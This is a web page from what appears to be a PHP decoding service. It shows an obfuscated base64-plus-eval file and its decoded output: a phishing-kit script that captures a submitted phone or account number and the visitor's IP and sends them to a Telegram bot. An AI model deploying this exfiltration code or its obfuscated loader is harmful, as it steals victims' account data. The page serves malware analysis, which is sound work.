Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $data = 'PD9waHAKc2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW..

Decoded Output download

<?php
session_start();
$XX = json_decode(file_get_contents("Telegram.json"));

$id = $XX->id;
$YZ = $XX->session_start();
$XX = json_decode(file_get_contents("Telegram.json"));

$id = $XX->id;
$YZ = $XX->Token;
$a = $_POST['nohp'];
$_SESSION['nohp'] = $a;
$ip = $_SERVER['REMOTE_ADDR'];
$sms = "
INFORMASI AKUN
Akun: ". $a . "
Ip:  ". $ip ."
";                   


$curl = curl_init();
// Set the API endpoint URL
$url = "https://api.telegram.org/bot$YZ/sendMessage";
// Set cURL options
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query(array('chat_id' => $id, 'text' => $sms)));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($curl);
curl_close($curl);
echo $response;

Did this file decode correctly?

Original Code

<?php
$data = 'PD9waHAKc2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygiVGVsZWdyYW0uanNvbiIpKTsKCiRpZCA9ICRYWC0+aWQ7CiRZWiA9ICRYWC0+c2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxlX2dldF9jb250ZW50cygiVGVsZWdyYW0uanNvbiIpKTsKCiRpZCA9ICRYWC0+aWQ7CiRZWiA9ICRYWC0+VG9rZW47CiRhID0gJF9QT1NUWydub2hwJ107CiRfU0VTU0lPTlsnbm9ocCddID0gJGE7CiRpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwokc21zID0gIgpJTkZPUk1BU0kgQUtVTgpBa3VuOiAiLiAkYSAuICIKSXA6ICAiLiAkaXAgLiIKIjsgICAgICAgICAgICAgICAgICAgCgoKJGN1cmwgPSBjdXJsX2luaXQoKTsKLy8gU2V0IHRoZSBBUEkgZW5kcG9pbnQgVVJMCiR1cmwgPSAiaHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdCRZWi9zZW5kTWVzc2FnZSI7Ci8vIFNldCBjVVJMIG9wdGlvbnMKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUE9TVCwgdHJ1ZSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1BPU1RGSUVMRFMsIGh0dHBfYnVpbGRfcXVlcnkoYXJyYXkoJ2NoYXRfaWQnID0+ICRpZCwgJ3RleHQnID0+ICRzbXMpKSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKJHJlc3BvbnNlID0gY3VybF9leGVjKCRjdXJsKTsKY3VybF9jbG9zZSgkY3VybCk7CmVjaG8gJHJlc3BvbnNlOw==';
$decode = base64_decode($data);
eval($decode);
?>

Function Calls

base64_decode 1

Variables

$data PD9waHAKc2Vzc2lvbl9zdGFydCgpOwokWFggPSBqc29uX2RlY29kZShmaWxl..
$decode <?php session_start(); $XX = json_decode(file_get_contents("..

Stats

MD5 1123dfb1dc1ab14cbfecf8e59996268c
Eval Count 1
Decode Time 38 ms